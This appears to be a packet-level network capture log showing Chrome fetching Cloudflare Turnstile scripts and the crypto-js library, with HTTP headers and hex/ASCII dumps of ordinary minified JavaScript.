2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 76 61 72 20 59 3d 22 30 2f 30 22 3b 66 75 6e 63 74 69 6f 6e 20 66 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 Data Ascii: var Y="0/0";function ft(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="d
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 63 2c 75 3d 4c 28 78 72 2c 28 63 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 67 2c 5f 3d 4c 28 77 72 2c 28 67 3d 28 61 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 61 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 67 21 3d 3d 76 6f 69 64 20 30 3f 67 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 26 26 75 3f 22 Data Ascii: HAVING_TROUBLES,c,u=L(xr,(c=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&c!==void 0?c:"nonexistent"),g,_=L(wr,(g=(a=e.displayLanguage)===null\|\|a===void 0?void 0:a.toLowerCase())!==null&&g!==void 0?g:"nonexistent");return o&&u?"
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 61 29 7d 2c 73 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 74 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 50 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 5a 74 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 Data Ascii: __proto__\|\|Object.getPrototypeOf(a)},se(e)}function Zt(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function Pe(e){var r=typeof Map=="function"?new Map:void 0;return Pe=function(o){if(o===null\|\|!Zt(o))return o;if(typeof o!="function")
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 61 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 50 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 61 72 28 29 7b 76 61 72 20 65 3d 67 74 28 29 3b 65 7c 7c 76 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 Data Ascii: riptElement)&&e.test(r.src))return r;for(var a=document.querySelectorAll("script"),o=0,c;c=a[o];o++)if(P(c,HTMLScriptElement)&&e.test(c.src))return c}function ar(){var e=gt();e\|\|v("Could not find Turnstile script tag, some features may not be available",4
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 28 22 61 6c 6c 6f 77 22 2c 22 63 72 6f 73 73 2d 6f 72 69 67 69 6e 2d 69 73 6f 6c 61 74 65 64 3b 20 66 75 6c 6c 73 63 72 65 65 6e 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 61 6e 64 62 6f 78 22 2c 22 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c 6f 77 2d 73 63 72 69 70 74 73 20 61 6c 6c 6f 77 2d 70 6f 70 75 70 73 20 61 6c 6c 6f 77 2d 66 6f 72 6d 73 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 63 72 6f 6c 6c 69 6e 67 22 2c 22 6e 6f 22 29 2c 66 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 57 69 64 74 68 3d 22 30 70 78 22 2c 66 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 25 22 2c 66 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 25 22 2c 66 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 68 69 64 64 Data Ascii: ("allow","cross-origin-isolated; fullscreen"),f.setAttribute("sandbox","allow-same-origin allow-scripts allow-popups allow-forms"),f.setAttribute("scrolling","no"),f.style.borderWidth="0px",f.style.width="100%",f.style.height="100%",f.style.overflow="hidd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49749	104.17.24.14	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-14 02:14:45 UTC	386	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-14 02:14:45 UTC	964	IN	HTTP/1.1 200 OK Date: Wed, 14 Aug 2024 02:14:45 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 461479 Expires: Mon, 04 Aug 2025 02:14:45 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qVk9YCuVgP3zSk1EPiz8EBVFRsYZJr6HpGSx0e%2B3D%2F7wk3GMYuX3nSlMkLRJnwqLc%2ByDTEzN4JlsA6ajsEa8uZN0Ur%2FuR2a6yVoFhExZ1TEs4YJ5JXGSqfC7%2FQuYNsA%2BEkfRgyey"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8b2d6ee46bad15cb-EWR alt-svc: h3=":443"; ma=86400
2024-08-14 02:14:45 UTC	405	IN	Data Raw: 33 39 37 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 397a!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 Data Ascii: o&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==t
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 61 72 20 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a Data Ascii: ar o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f Data Ascii: arse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._do
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 2c 32 35 35 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d Data Ascii: ,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 30 39 32 2b 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 Data Ascii: 092+(e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+o*o,c=((4294901760&i)
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 Data Ascii: >>>6-o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=42
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 29 2c 53 3d 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b Data Ascii: ),S=A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 69 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 Data Ascii: i.clone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;retur
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 28 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 Data Ascii: (o),function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49751	104.18.95.41	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-14 02:14:46 UTC	383	OUT	GET /turnstile/v0/b/cc21665cd7b9/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-14 02:14:47 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 14 Aug 2024 02:14:46 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 45035 Connection: close accept-ranges: bytes last-modified: Fri, 09 Aug 2024 15:21:28 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8b2d6eef9de54411-EWR alt-svc: h3=":443"; ma=86400
2024-08-14 02:14:47 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 53 74 28 65 2c 72 2c 61 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 5f 3d 65 5b 75 5d 28 67 29 2c 70 3d 5f 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 61 28 66 29 3b 72 65 74 75 72 6e 7d 5f 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function St(e,r,a,o,c,u,g){try{var _=e[u](g),p=_.value}catch(f){a(f);return}_.done?r(p):Promise.resolve(p).then(o,c)}function Ot(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var u=e.apply(r,a);funct
2024-08-14 02:14:47 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 5f 72 28 65 2c 72 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 24 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 